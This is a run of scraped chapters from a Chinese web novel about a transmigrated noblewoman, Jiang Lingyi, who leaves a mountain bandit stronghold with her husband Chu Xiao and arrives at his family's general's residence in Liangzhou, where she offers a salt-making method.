几十年后,是不是她还要再去面对一个活下来的可怜人? 难道她还要在自己垂垂老矣的时候再次去面对这样无能为力的痛苦吗? 李红袖是拒绝的。 在来之前楚萧就告诉姜令仪,这偌大的燕山,做主的竟不是大当家,而是作为大当家夫人的李红袖。 能安安稳稳把持着这里这么多年,让大当家乐呵呵的接受媳妇掌权,接受一个大男人还不如自己媳妇的事实,并且对她几十年如一日的尊重疼爱,就算膝下无子也不影响他们的感情。 李红袖这个人绝不简单。 但是她也可以很简单。 姜令仪把手中的令牌递给楚萧,“这是能调动李家军的令牌。” 姜令仪对这个黑色的牌子很眼熟,她在姜尚手里见过无数次。 姜尚接管李家军后,令牌还是李家的令牌,他从没有把李家军变为姜家军的想法,尽管这么多年过去了,军队里的将领大多数都已经成了他的人,只要他的一句话,不用令牌也能让所有人信服,但是他们仍然还是李家军。 所以这枚令牌,仍然是可以调动李家军的令牌。 楚萧从会走路开始就是从马背上长大的,他自然不会不知道李家军。 虽然凉州军也很强,但是他们擅长马上作战,论起陆战,若说“来必战,战必胜”的李家军排第二,没人敢自称第一。 楚萧用力攥紧这个小小的令牌,也不知道他用了多大的力气,指节都开始泛白:“师叔把令牌给了大当家夫人?” 话音未落楚萧就自己反驳了自己:“不,师叔和她多年未见,以他的谨慎,绝不会去赌那虚无缥缈的恩情。” 那姜尚的令牌到底去哪里了呢? 虽然有传言说姜尚把令牌献给了太子,作为交换,太子必须护他女儿一生无忧,听起来合情合理,大多数人也都相信了。 但是知他甚深的楚萧父子从未相信,连一丝怀疑都未。 楚萧对此很有把握:“绝不会在吴国太子手里。” 姜令仪脸上也有了笑意:“父亲早就看透了太子,太子此人记仇不记恩,父亲不会相信他能善待我的。” 楚萧点头道:“不错,以师叔的性格,他必定会给你留了后手,至于他手上的令牌,要么是交给了可靠的人,要么就毁掉了。” 毁掉了,也就意味着他身边的人已经不可信了。 姜令仪不由自主的想起了大婚时身上的霞帔坠,附和道:“理当如此。” 又道:“这一枚令牌是李将军给他独女的护身符,也是监督父亲的催命符。” 虽然把李家军交到了姜尚手里,但是李家军总要留下后手,万一他想除掉李家后人呢,万一他掌管了军队之后失了本心呢,又万一他没有那个本事收服李家军呢。 这个时候,李家军的后人是可以名正言顺的调动李家军的,毕竟那里的一兵一卒,都是李将军辛辛苦苦培养出来的。 但是姜尚一直做的很好,所以这一枚令牌的存在除了李红袖之外谁也不知道。 但是又有谁能想到,这枚令牌重见天日的契机,居然是因为姜尚的死! 也可以说,这是因为李红袖对她父亲效忠一生的王朝彻底失望了。 他们对李红袖的用意心知肚明,燕山匪,不管他们人数再多,有多善良淳朴,这些人都逃不过一个“匪”字。 他们自己或许不在意,但是以后他们的后代子孙呢,他们能眼睁睁看着以后子女把土匪当作传承一代代传下去吗? 世道乱的时候还好,如果在太平盛世,皇帝能允许数量这么庞大的匪徒存在吗? 她拿出了自己的诚意,楚萧思虑片刻便收下了。 姜令仪没有多问,既然楚萧收下了,那必然就有自己的想法。 但是,姜令仪有些不好意思,“那嫁妆里的东西还拿吗?” 都已经站在同一阵营里了,再去背刺自己的友军会不会不太好。 楚萧眼神都没有动一下:“计划不变,那本来就是你的东西。” 虽然暂时可以降低燕山匪的危险程度,但是是不是友方还有待验证。 最重要的是,凉州太穷了,如果不拿点儿东西走估计姜令仪根本没有本钱去捣鼓自己的想法,楚萧略有些心虚的收回了视线。 姜令仪并不知道自己要去的地方是如何的民风彪悍......且贫穷。 在她印象里的凉州其实就是甘肃,那里的地理位置非常优越,是丝绸之路的重要通道,所以理所当然的,这里也十分的繁荣。 但是姜令仪忽略了,现在是距离她印象中城市距离不知道几千年的时间,这里没有丝绸之路,没有中西文化的融合,更甚至,这里人口还比不上现代的一个零头。 但是姜令仪都还不知道,她肯定是知道有困难,但是现实也一定会比她想象的更加困难。 现在的姜令仪还在心心念念着她的创业资金,“二哥,要借用大当家夫人的名义去库房吗?” “不必我们亲自去,会有人带出来的。”至于他们的安排,“我已经知会过大当家要下山,宜早不宜迟,你收拾一下要带的东西,我们 7. 干粮 《和亲路上被未婚夫抢回去了》全本免费阅读 因着人口太多,所以厨房的面积还是比较大的,房顶上修着烟囱,为了防止下雨天无法开火,烟囱上还有烟罩。两面墙都开着窗,从窗户望进去,里面大大小小的灶台一共有五个。 这里的厨房可不是大家都能来吃的,大多数还是要自己做饭的,要是都来这里吃,灶房一整天不熄火也不能供应所有人吃饭。 要想直接在这里吃饭,必须得对寨子里有什么值得众人称道的大贡献,不然还是自己乖乖在家做饭吧。 姜令仪刚到就听见一个熟悉的声音:“快快快,朝他脸打啊,小姑娘,你可不能手下留情啊,想想这个臭男人刚刚是怎么羞辱你的,现在该你报仇了,你得狠狠羞辱回来啊!” 周围一群看热闹不嫌事大的围观群众,一个个的都随着他们的战况长吁短叹。 姜令仪有些摸不着头脑,要是她没有看错的话,这被人群包围的两个人,一个是她要找的目标,一个是寨子里的二当家,并且被单方面虐打的,有没有可能,正是他们的二当家呢? 再仔细看看,拱火起哄的最厉害的,可不就是二当家的媳妇嘛,她就说声音听着清脆悦耳,像是个姑娘的声音。 就一个愣神儿的功夫,已经是两个孩子妈的耿宁宁又开始火上浇油:“林嘉你个小人,你怎么能躺在地上耍赖呢,快起来,还没有打完呢。” 要不是还抱着一个三岁的孩子,耿宁宁恨不得自己自己上前去把他从地上扒拉起来。 眼看着她已经蠢蠢欲动的想要把孩子放到地上了,姜令仪终于找回了自己的声音:“小玉,这是怎么回事儿?” 本来小玉叉着腰气呼呼的看着二当家,一听到姜令仪的声音,马上颠颠儿的跑了过来,还没站稳就开始告状,“他抢我的饭。” 耿宁宁也挤了过来:“没错儿没错儿,本来小玉都不搭理他的,都是林嘉不干人事儿,硬要抢你们的食盒,我们小玉才反击的。” 周围的人都眼巴巴的盯着她使劲儿点头,又一次看到军师挨揍,这可真是久违了啊。 要知道耿宁宁结婚以前可是他们寨子里的一枝花,多的是年轻小伙子想要娶她的,结果硬生生让外面来的林嘉摘了果子,这可不就捅了马蜂窝了吗。 耿宁宁愿意嫁给他别人也没有办法,那他们当哥哥的去教训教训这个臭小子总没有问题吧,那段日子林嘉可谓是痛并快乐着,既有抱得美人归的开心,又有每天新伤旧伤不断地痛苦。 不过这种情况没有持续太长时间,林嘉把揍他的人一个个都报复回来了,整的他们看见他就躲着走。又有他出谋划策为寨子里立下了诸多功劳,大当家非常倚重他,慢慢的成了二当家之后,就更没有人敢冒犯他了。 像是曾经揍过林嘉,结果被老娘找到他的私房钱,之后次次找到他的私房钱的一个大汉,看到小姑娘勇踹大魔王,真的是恨不得站出来鼓掌。 但是他不敢,别以为他没有看见二当家阴恻恻的眼神,他敢保证,这丫的又在憋着坏水了。 姜令仪自然不可能对小玉的行为表示赞同,他们现在可是在二当家的老巢呢,别管这些人多么想看二当家吃瘪,真的涉及到双方安危,他们一定会毫不犹豫选择维护他们的二当家。 这是人之常情。 姜令仪没有看已经从地上爬起来,并且悄摸走到耿宁宁身后开始挤眉弄眼逗女儿的二当家,而是直接向耿宁宁表达歉意:“耿姐姐,小玉没有分寸,听不出来二当家是在和她开玩笑,真的是太不应该了。” 丝毫没说要给小玉什么惩罚。 耿宁宁毫不在意的摆手道:“是他没有分寸,小玉有什么错,要我说,就应该时不时有人给他紧紧皮,不然他就不知道什么叫天高地厚了。” 林嘉在一旁小声反驳:“那你怎么不问问她带这么多干粮做什么?” 耿宁宁翻了个白眼儿,“你管人家做什么,总归花的也不是你的钱,你管天管地还管别人吃喝拉撒吗?” 姜令仪眉心一跳,眉间拢着轻愁:“耿姐姐不必怨怪二当家,我也知道拿的干粮有些多了。” 她不好意思的垂下了眼睛:“我在山下的时候看到了许多无家可归的流浪儿,我想着既然要下山,再多的我也做不了,但是顺便给他们分一些吃的还是可以的。” 姜令仪看了一眼林嘉,又仿佛被吓到一样急急补充:“我付了钱的。” 看着周围的人都被姜令仪的表演打动,一个个看她就跟看观音菩萨一样,林嘉张口就想喷她,但是看到媳妇警告的目光,他哑火了。 还是他夫人善良又单纯,旁人不是谎话连篇就是眼瞎心盲,他林嘉不屑与之为伍。 但是他到底没有再说话了。 只是一想到在宝贝女儿面前失了面子林嘉就气儿不顺。 不过当耿宁宁怀里的小姑娘张开手要他抱时,他就什么也想不起来了,什么打击报复,哪有他香香软软的小闺女来的重要? 耿宁宁把手里的小秤砣转手之后就不在关注他们父女俩了,拉着姜令仪的手细细打量:“我们军师可真是好福气,能娶到这样的媳妇,可真是不知道烧了几辈子的高香了。” 要说耿宁宁,她的经历也可以说的上是波澜壮阔,半辈子颠沛流离,但是偏偏没受过什么罪,总有人会替她撑起一片天来遮风挡雨。 所以她仍然能在残酷的世道中保持善良,才能知世故而不世故,才能开开心心的做自己。 姜令仪不讨厌这样的人,更何况耿宁宁也从不以自己的标准去要求别人,和她相处总是很轻松愉快的。 不过她的眼神,怎么感觉有些莫名的慈爱? 姜令仪没有想太多,只当是为人母之后的特点,不过她还是要为楚萧说两句话的,“军师人很好,对我也很好,在这样的世道,能碰到军师是我的福气。” 这是姜令仪的心里话,如果她自己在这个时代活下去,她肯定是没问题的,但是要经历不好的事情也是肯定的。 如果不是生活所迫,谁愿意被逼着成长呢? 如果不是这个吃人的时代,谁不愿意做一个好人呢? 在遇到楚萧之后,姜令仪在这里那一颗没有着落的心才安定下来,她有了携手一生的人了。 耿宁宁看她表情不似作伪,笑容更是扩 8. 天才 《和亲路上被未婚夫抢回去了》全本免费阅读 听到楚萧的问题,姜令仪的有些发怔,她刚刚有些犯傻了,虽然这是高中化学里面很基础的方程式,但是楚萧可一点儿没有学过。 看着自见面起就一直淡定自若的楚萧难得茫然的样子,姜令仪居然觉得他莫名可爱,整个人也放松了下来。 她示意楚萧附耳过来,楚萧弯下腰,感觉热气喷到了脖子上,让他头皮发麻。 姜令仪没有注意到他的不自在,神神秘秘的小声告诉他答案:“这是化学方程式。” 化学方程式? 这是什么奇怪的说法? 看着他依旧疑惑,姜令仪就简单解释了一下:“就是在自然界中的物质在一定的条件干预下会发生反应,有很多号称是大师的骗子其实就摸索到了这些规律。” 楚萧大概能明白这是什么意思,但是要想真正理解,只三言两语肯定是不行的。 不过以后的时间还很长,如果楚萧对这个感兴趣,姜令仪当然也愿意花时间和他探讨。 如果有更多的人愿意去学习化学相信科学就更好了。 既然都准备好了,楚萧和姜令仪都想着早点离开了,慢则生变,迟离开一会儿,也不知道会发生什么意想不到的事情,毕竟他们现在也是名义上的燕山匪。 燕山匪所在的占地面积极广,从吴国境内再到晋国,都有他们的身影。燕山易守难攻,所以他们这一众游兵散将能在李红袖和大当家的带领下盘踞多年。 李红袖出生在武将世家,耳濡目染下作战指挥能力敏锐,二当家又补上了她谋略方面的短板,靠寥寥几次以少胜多的战役便打响了名声,再加上大多数时候他们还是安安分分的窝在山上种田,所以吴国和晋国都默契的忽略了他们。 他们认为最多不过是万余人拉起来的农民起义,实在没必要放在眼里。 但是楚萧在这里的时候暗暗摸清了总人数,居然高达二十万人,这个结果无疑让人胆战心惊。 现在在全国总人口将近九千万人,在这个数据下可能还不太直观,但是再看军队人数,楚萧不太清楚吴国有多少兵力,但是晋国兵力仅仅不到八十万人,想来吴国也是相差无几的。 楚萧担心的并不是他们的战斗力,相反,他很清楚这二十万人能参加战斗的有一万人就不错了。 让他痛心的,是百姓为了生存而甘做土匪,是大臣的无能,是国家的不作为,更是这个见鬼的世道。 如今姜尚身死,能接替他的人尚不存在,别的不说,就说对楚萧父子的了解程度,没有谁能比得过他,更不要说他这么多年对两个国家盘根错节势力的熟悉程度了。 多想无益,还是要先回他们的大本营。 既然是要下山,大当家肯定是知道的,二当家果然也自告奋勇来送人,还生怕他们拒绝,早早地等在了门口。 这是早就预料到的事情,楚萧没有拒绝二当家的盛情,每个人手里都拎着满满当当的干粮。 只有姜令仪一身轻松,她所有的东西都被楚萧拿过去了。 二当家也是靠脑子吃饭的,现在手上却拿着和旁人一般重的东西,他有理由怀疑这是楚萧的挟私报复,并且掌握了证据。 因为耿宁宁的态度十分友善,并且姜令仪心里有一点猜测,所以在路上她和二当家断断续续聊着天。 当然不指望能从他嘴里打探出什么消息,就是只听听他对天下大势的分析,都能觉得受益匪浅。 二当家显然也很愿意和姜令仪显摆一下自己的大局观以衬托楚萧的无知,虽然不能说是知无不言言无不尽,但是也尽可能让姜令仪听得懂。 若是以往,他才不可能有这样的耐心去和智商相差太多的人解释。 虽然已经很累了,但是二当家还是强撑着一口气问道:“要不要听一听晋国太子和姜尚独女的故事?” 姜令仪坦然对上他戏谑的笑眼:“这就不必了。” 以往种种她再清楚不过,就没必要浪费口舌了。 二当家颇为可惜地扫过二人平静的脸色,不过看不了楚萧的热闹他也不强求,极为迅速的话题引向了其他的方向。 说话时就注意不到时间的流逝了,等他们到达山下的镇子上,二当家才发现自己满头是汗了。 不过这也怪不得他,和姜令仪聊天很愉快,天文地理算数星象,说什么她都接上,并且还能说出个一二三来,除了对现下时局的了解不够,其余的许多观点都时不时令他耳目一新颇有些醍醐灌顶之意。 难得有这样一个人,真是不想让她走了啊。 不过他也只是在心里长吁短叹一番,如果被他夫人知道他的想法,可能又会被揪着耳朵教育了。 姜令仪有些气喘,但是问题不大,歇歇脚就能缓过来了。 楚萧吩咐所有人在原地休息一刻钟,之后再分两批人进城,一批去处理那些干粮,一批去补充一些生活物资。 一起下山的人里面,有二十人是跟着二当家一起来的,还有八个人是楚萧的人。 这八个人是楚萧的亲卫,是他亲自挑选,能在战场上互相交付后背的心腹。 他的亲卫拢共不过百人,这次来就带了二十人,一部分人跟着他进了土匪窝,还有一部分人在外面接应。 姜令仪早就在路上打好了腹稿,要怎么说才能显得不着痕迹的和他们分开。但这些根本没有派上用场,二当家一方的人直接接下了姜令仪的差事。 “二当家,要不您到兄弟们去发粮食?”外号叫“瘦猴儿”的男人冲着二当家挤眉弄眼,“让军师带着几个人去拎行李呗。” 姜令仪和楚萧对视了一眼,有些为难:“大家不用买什么东西吗?” “瘦猴儿”早就把出门前他老娘叮嘱他买盐的事情抛到了九霄云外,现在什么都不能阻挡他分发干粮的热情,闻言马上摇头:“我没有什么要买的东西。” 还有一部分人也纷纷摇头,表示他们什么也不买,买东西什么时候不能买,但是发干粮可是开天辟地头一遭啊。 他们绝不能错过。 二当家看着破旧的城墙,心里对这些人的敏锐度实在是不敢抱任何希望了,但是他也没有反对,“那我带他们去西市,两个时辰后在这里碰面,如何?” 他们自然无有不可。 等到进了城门,一东一西分开之后,楚萧的人身上气势一变,瞬间从毫不起眼的普通人变成了鹤立鸡群的存在。 楚萧轻飘飘扫他们 9. 赶路 《和亲路上被未婚夫抢回去了》全本免费阅读 楚萧按了按额头,对这个发展并不意外,但是语气还是有些无奈:“抓紧时间休整,全速前进。” 姜令仪发现自己的身体素质比之前好了不少,从下山到骑马,虽然不时会累,但是只要稍作休息就很快恢复过来了。 究其原因也只能是完成的那个任务带来的改变了,只是不知道这是新手第一次的福利,还是每次完成任务都能得到这么大的改变。 不过仔细想想也不太可能,如果多完成几次任务,那她还不得能飞天遁地了。 也有可能是她第一次提升体质,她的底子也不是很好,前一阵儿大病又损了些根基,所以效果比较明显,等慢慢的可能会越来越不明显。 就像是一个人在极度饥饿的情况下,吃第一个馒头时可能会觉得这是世界上最好吃的东西了,吃第二个的时候很满足,恨不得天天有馒头吃,等到吃第二十个的时候,可能就会觉得,世界上怎么会有馒头这种异端,以后再也不要吃了。 人还是同一个人,馒头的味道、分量都大差不差,但是吃第一个和吃第二十个获得的满足感可谓是相差甚远。 修复她身体的效果可能也是如此。 虽然姜令仪保证她的身体可以撑得住,楚萧还是会时刻注意着她的状态,他对练兵也是个中好手,自然也能看出她极强的恢复能力。 楚萧在心里默默制定了针对她的训练计划。 如果让姜令仪知道了他的想法,说不定会后悔在路上表现太好的。 还是应该藏点拙的。 不过也因为她没有藏拙,所以他们赶路的速度极快,每天除了吃饭睡觉的时间就一直在马上度过的,楚萧的亲兵也在这日复一日的路途中逐渐对姜令仪和小玉二人改观。 如果说之前对姜令仪只是因为身份对她表面上尊重,那现在就是真正认可她了。 姜令仪一看就是深闺养大的那种姑娘,虽然和他们小将军看着很配,但是这可不符合他们当兵的审美。 一步三喘的病美人是只可远观的。 但是姜令仪的表现真正刷新了他们的认知,他们跟着楚萧又不是没有见过世家贵女是什么样子,她们可能是绣艺出众,可能是才貌惊人,也可能是贤良淑德。 但是没有一个人能像姜令仪这样睡荒野,啃硬干粮,一路奔袭也不喊苦不喊累的。 和他们小将军真真是般配极了。 一开始不熟悉的时候,以楚云为首的亲卫还是比较端得住的,但是三天不到就恢复了本性。 不过也能理解,这一群人最多也不过二十来岁,能稳重到哪儿去。 可能也就楚萧和楚云是真的比较稳重的。 每天能说笑的时间也就是吃饭这个空档了,就着梆硬的干粮,开着荤素不忌的玩笑。 至于害怕姜令仪听不得? 没这个顾虑,姜令仪还能时不时接下他们的话头,以前她虽然不太关注工作之外的事情,但是在那个信息爆炸的时代,她有什么不知道的呢。 虽然楚萧瞪他们了,但是兴头上的小伙子们都已经忽略了他的冷气。 有口才好的已经开始讲他们之前打仗的事情了,因为主要是给姜令仪讲的,主角当然就是楚萧了。 “别看那些胡人身高马大的,在我们小将军面前还不是乖的跟猫一样,是龙是蛇都逃不过小将军的手掌心。”俗名二狗子的小伙子口才很是不俗,嘚吧嘚的嘴都没有停下来过。 除了旁人时不时附和补充两句,这里都成了他一个人的舞台了。 “二狗子,之后几天你去做斥候。”楚云宣布了他的任务。 二狗子咂了咂嘴,当斥候需要行动敏捷比大部队速度快,还需要在前方侦查是否有异常情况。 他虽然爱说笑,但是既然给了他任务肯定也会认真完成的。 并没有意识到这是专门针对他,二狗子听到对自己安排马上露出一口大白牙,大声保证:“保证完成任务。” 楚云的视线略一扫过他就又移开了。 姜令仪又问起了军队的一些待遇,这些都是众所周知的事情,他们也只以为姜令仪在吴国并没有专门了解过晋国的制度,所以也没有多问什么,都跟她一一说了。 晋国和匈奴每年大小摩擦不断,所以武将的地位还是比较高的,当兵有三个等级,上等士兵月俸一贯,中等士兵六百文,下等士兵四百文,不同的军队待遇也不一样,像他们凉州兵比别的地方同等级的兵月俸都要高。 一个是因为他们是要直面匈奴的防线,还有一个是因为楚将军从不贪他们的银子,也不会允许旁人对军饷下手。 种种原因下来,虽然凉州苦寒且战争频发,但却是所有儿郎们参军的第一选择。 相比晋国,吴国的武将地位更低,在招兵时为了防止他们逃跑,还会在身上刺字,要知道犯人被判流放后才会在脸上刺字,称为“黔面”,虽然刺字不是在脸上,但是其中的折辱意味却根本不能忽视。 在如今二十贯钱就能养活一家五口的年代,军队的待遇看起来还算不错,除了固定的月俸之外,招兵时还会给一笔安家费,立功了会有奖励,战死会有抚恤金,如果这些应得的钱能全部到他们手里,那一个人当兵就可以养活全家人。 但是姜令仪仍然认为他们的待遇太低了,他们一个个保家卫国,用年轻的生命前仆后继的堵上缺口,这样的付出和回报明显是不平等的。 他们日夜不停的赶路,等看到凉州城门的时候,时间也才堪堪过了十天。 而这时在燕山,大当家正面色铁青的朝着人发脾气:“军师好好的怎么可能就丢了,你们有仔细去找吗?几个城门都去问过了吗?” “大当家,兄弟们都去找了,连郊外也去了,挨家挨户都问过了。” 大当家也不是个傻子,到这个地步了也不是想不明白,就是不愿意相信而已。之前二当家就跟他说过楚萧目的恐怕不纯,他也不是没有疑虑,只是他们燕山太缺人了,碰到这种文武双全的奇才,大当家实在是抑制不住爱才的心思。 想起楚萧的能力,大当家心里又有些不安,若是他的目的只是带走一个媳妇还好说,但是他要想对燕山不利,凭他对这里内部的熟悉程度,他们这么多人也毫无还手之力。 看着二当家神在在的坐在一旁摇扇子,大当家语气希 10. 回府 《和亲路上被未婚夫抢回去了》全本免费阅读 或许在外人看来,楚萧是难以接近的冷面杀神,但是在凉州的百姓眼中,楚萧是保护他们的小将军,甚至在一些老人眼中,楚萧就是在他们眼皮子底下长大的,他一步步的成长都有他们见证。 进城之后能明显感觉到大家的情绪高涨了起来,毕竟这里才是他们的地盘。 周围的百姓只看一眼他们飞速消失的背影,然后和周围聊两句最近有没有什么地方在打仗,就自顾自做自己的事情去了。 以前有百姓为了表示对军队将士们的感谢,在他们进城时会给他们许多吃的喝的,但是也有人趁机浑水摸鱼,要不是楚将军发现对不,还真有可能会出大乱子。 所以之后就禁止这样的事情了。 在凉州打仗并不稀奇,看到当兵的来来去去的身影,生活在战争中的普通百姓也不会慌张。 一行人刚进城门,楚萧回来的消息就已经传到了将军府。 楚家现在当家做主的是楚将军,要说起楚将军,他的一生也算是一个传奇。 从刚出生就被丢掉,被狼养到四岁,下山乞讨跌跌撞撞的长大,在乞讨路上因为根骨很好被忽悠着拜了师傅,和姜尚一起在山上学艺。 十八岁下山投军,第一次上战场就活捉了匈奴二王子,一战成名。 之后又得公主下嫁,一时间风头无两,用自己的辉煌战绩牢牢压住匈奴二十多年。 如今刚刚四十出头,狼将军楚昊的名声已经无人不知无人不晓了。 听到他引以为傲的儿子回来,楚将军露出了如释重负的笑容,制止了还在争吵的众人:“萧儿带他媳妇回来了,剩下的事情你们和他商量吧。” 刚刚还吵得脸红脖子粗的将军们仿佛被掐住了脖子,屋子里一下子变得鸦雀无声。 也不知道这楚怀信是吃什么长大的,明明是在一群五大三粗的老爷们儿怀里长大的,心眼子却比谁都多。 这就导致他们一群叔伯辈儿的都怕这小子,他们连楚将军都敢拍桌子,对着楚萧总是气虚,也不知道是为什么。 楚将军丝毫没有为因为儿子比自己威信高而生气,儿子争气,是他这个当爹的有本事。 因为楚萧的归来,将军府里里外外都忙乱了起来,也早有机灵的的小丫鬟去了内院报信儿:“夫人,小将军回来了,听前院的意思是刚到了内城,马上就到家门口了。” 如安公主的手一抖,一时不察被绣花针扎了一下,血珠子马上冒了出来。 翡翠劈头盖脸的训斥报信儿的小丫鬟:“怎么这么不稳重,惊到了夫人有你的好果子吃。” 转眼就看见如安公主手上见了血,一叠声的开始叫人:“如意,快去叫府医,公主手上流血了。” 又拿着帕子按在流血的地方。 如安公主叫住忙活的几个人:“不小心扎了一下,用不着这么兴师动众。” 又道:“翡翠,给这小丫头抓一把金瓜子。” 虽然如安公主脾气温和,对她们这些丫鬟也很好,但是这不意味着丫鬟可以忤逆她,看她语气坚定,翡翠只好脆生生应了一声,就去拿赏钱了。 小丫鬟感激的看着如安公主,随后磕了一个头,就跟着翡翠出去了。 如意和翡翠都是如安公主的大丫鬟,只二人性子不同,如意稳重,翡翠泼辣,不过都是已经历练了多年,能里里外外一把抓,是如安公主的左膀右臂。 如意把绣绷放到桌子上的篓子里,笑问:“小将军离家这么长时间,要不要吩咐厨房备几个好菜,晚上一起吃一个团圆饭,也让大小姐回来认认人?” 如安公主想起儿子可不是一个人回来的,嘴角僵硬了一瞬,很快又恢复如常:“去吧,让若儿来一趟。” 如意聪明的没有提起姑爷,她很了解如安公主,知道她现在已经很不开心了,没必要再去说了。 而此时的大门口,管家早就已经在那儿侯着了,明明是初春的天气,管家听到消息跑过来迎接,头上都已经出了细细密密的汗珠,内衫页早已湿透了。 不过他可没有半分不耐,看楚萧还没到,便拿出帕子擦了擦脸,旁边伸过来一方水湿的帕子,管家接过敷在了脸上,热气儿慢慢散了去。 “这可是少夫人第一次登门,都机灵着点儿,别笨手笨脚的丢咱们将军府的脸。” 话音落下,他自己脸上便带了三分笑意,这成亲么是应该高兴,但是少夫人家的事情才过了没多久,又不能太高兴,还是应该把握好这个度。 不止是管家,估计所有听说过姜令仪的人都在心里琢磨着她的为人。 也有不少因为她和吴国太子的纠葛为楚萧抱不平,只不过碍于楚将军的态度,大家都不敢表露出来。 像他们这种最会看人眼色的下人,难道会看不出来夫人明晃晃的不喜? 但是他们更清楚将军府当家做主的是谁,哪怕夫人不乐意,少夫人不还是被小将军亲自接回来了? 管家在将军府十几年了,就没有见过如安公主和楚将军红过脸,倒不是没有矛盾,而是如安公主总是退让。 甚至她嫁过来之后就不让称呼她公主,她更喜欢楚夫人这个称号。 以前夫人想把大小姐培养成大家闺秀,楚将军却由着宝贝女儿自己的性子来,夫人想给小将军挑一个顶顶好的世家贵女,结果楚将军定下的是一个心有所属的姑娘。 再加上夫人实在是看不上大小姐挑的夫婿,这才对楚将军发了脾气。 不过依管家来看,夫人这脾气也过不了两天。 管家一面想,一面朝路边张望,远远看到有人影从拐角处骑马朝这边儿来,就抬高了声音:“回来啦回来啦,小将军回来啦。” 眨眼间楚萧就到了门前,虽然不明白为什么管家会这么激动,楚萧也没有太多的好奇心,翻身下马,然后朝姜令仪伸出手。 这就不必多说,能让楚萧如此对待的,必然就是他的新婚妻子了。 管家不由暗叹,原来自家小将军不是不解风情,只是没有碰到对的人罢了。 姜令仪没有注意到周围人复杂的情绪,看到楚萧伸手,她也很自然的把手递了过去,借着他的力下马。 等她站定,整个人的样貌完全暴露在众人眼皮子底下。虽然这些天风尘仆仆的赶路,穿着的也是最普通的衣物,头发只是用布条简单挽起,连一支簪子都没有。 但当她望向你,你仿佛从她眼中看到了皎皎明月,温和而坚定的散发着光芒,不为外物所动容。 虽然已经成亲了,但是两个人也并 11. 礼物 《和亲路上被未婚夫抢回去了》全本免费阅读 本来楚将军并没有放在心上,只是小辈送的礼物,无论贵重程度如何,心意到了就行。 虽然不知道是什么东西,但这并不妨碍他炫耀:“我还以为这辈子都收不到萧儿的礼物了,现在娶了媳妇,想来日后萧儿家的礼物少不了喽。” 嫌弃的瞥了楚萧一眼,楚将军在心里还是为自己的眼光暗自得意。 至于以前喜欢过别人,那也没什么大不了的,谁能没有年少慕艾的时候呢,要是楚萧没有让姜令仪喜欢上他,那也只能说这小子没本事。 楚将军连年征战,看惯了战场和生死,才会觉得很多小事情没必要太较真。 别说是之前有喜欢的人,就算是成过亲,他也不觉得这是什么大事儿。 楚将军直接打开了荷包,他以为是什么小巧的东西,但是等打开一看,是一张纸? 他来了点儿兴趣。 等看到纸上的内容,楚将军的表情慢慢严肃了起来,“其余人先散了,秦景明,林春,你们跟我来。”又对楚萧和姜令仪道:“你们两个也来。” 楚萧这些天和姜令仪朝夕相处,对她的的了解自然也别别人深,楚将军拿出那张纸的时候,楚萧就猜到是什么东西了。 在路上没有见她动笔,想来是在燕山就已经准备好了的。 其实不然,姜令仪虽然知道晒盐法的流程,但是在现在的生产条件之下,把以前的模式照搬过来自然是不可能的,她连现在能做到什么样的水平都不了解,原本想的是得到楚萧和楚将军的支持之后再去研究,没想到系统给的第一个奖励居然是符合现在情况的晒盐法,甚至还贴心的标出来了位置。 姜令仪自知不是什么有心机的人,以前在实验室能混的好完全是因为智商碾压,作为老师的得意弟子,自然不会受到什么欺负,但这不代表她不知道。 虽然凉州也有不少女性在外挣钱养家,大战来时也会扛起武器守护自己的家,但是这里是将军府,楚萧不会阻止她在外有自己的事业,但是府里其他人的态度却不一定,姜令仪不会去试探楚将军和她父亲之间的情谊,情分是最不能消耗的,固然楚将军会看在姜尚的面子上替她保驾护航扫除一切困难,但是人总会累的,情分也总会消磨完的。 她还是更喜欢靠自己。 而她能想到的最好的方法,就是证明自己的价值,让自己有无可替代的地位。 这样,所有的阴谋和算计,总会有人为她挡在外面,她只需要做自己的事情就好。 晒盐法,就是她的投名状。 楚将军和另外两人低声商量此法的可行性,楚萧侧头看到姜令仪眼里高昂的斗志,觉得这才是她应该有的样子。 自由的,生机勃勃的,永远也不会被打倒的。 楚将军他们的谈话还在继续,楚萧便带着姜令仪坐到了旁边,甚至还施施然倒了两杯茶,一杯放在自己面前,一杯放在姜令仪面前。 他清楚自己父亲的性格,这样的表现,晒盐法绝对是已经有了九成把握能成,看来比起他之前看到了方法,这次拿出来的明显是已经改进了的。 已经确定了可行性,楚将军深吸一口气,这可是盐啊,他几乎已经可以想象以后白花花的银子了。 “萧儿,接下来你去处理一下这几个月的公文,还有劫亲的事情。” 楚将军想着堆积如山的公文有些心虚,但是转念一想,这次和皇上的冲突还是因为和亲被破坏了,但是这劫的可是他自己的媳妇,烂摊子自然也是他自己收拾。 这么一想,楚将军的背又挺直了。 楚萧早就有心理准备,在回来的路上也早就安排人去了京城,至于这次和皇帝的冲突,说不定能有些意想不到的效果。 而远在京城的人也完成了楚萧给他的任务,等到皇帝再一次私下召见王宰相的时候,他们就对姜令仪的去留定了下来。 王宰相可谓是忠诚的保皇党,虽然皇帝很不喜欢他又臭又硬的脾气,但是这个人的忠心是无人能及的,就是他说的话让人很不爱听,这次也不例外。 “皇上,微臣认为姜家女留在凉州也并无不可。” 皇帝懒洋洋的靠在椅子上,听到王宰相这么说他不悦的眯起了眼睛,坐直了身子,“王卿,这不合规矩,楚昊一个臣子,居然敢劫了两国和亲的新人,他的胆子也太大了些,就是不知道,他还有没有把朕看在眼里。” 皇帝不是真的在意一个女人,就算姜令仪长得再美,他也不是很在乎,他最在乎的,还是自己的皇权和地位,至于到底合不合规矩,最终不还是他说了算吗? 王宰相一开始也很不满楚家的举动,就算楚萧和姜令仪早有婚约,但是既然他们还没有成亲,那就不能明晃晃的去夺皇帝的人。 但是他无意间听到的一个故事改变了他的想法。 “皇上,楚家的确大逆不道,但是臣昨日听闻了一件事,类比楚家,或许楚萧成亲还能从内部消耗楚家实力。” 皇帝有些好奇,语气也缓和了许多,他问道:“故事?是什么故事?” 王宰相讲整件事情的来龙去脉娓娓道来:“臣听闻郊外有一户人家,父母健在,独子聪慧,虽然家境贫寒但是日子过得温馨和顺,直到父母做主为儿子娶了媳妇,家里的日子就不好过起来了。” “然后呢?是因为娶得这个媳妇不是什么好人吗?” “不,娶进来的媳妇孝顺公婆,吃苦耐劳,邻里朋友没有不夸她的。” 那是因为什么? 皇帝一直认为是娶进门的媳妇有问题,毕竟她来之前都好好的,怎么她一来就变了呢? 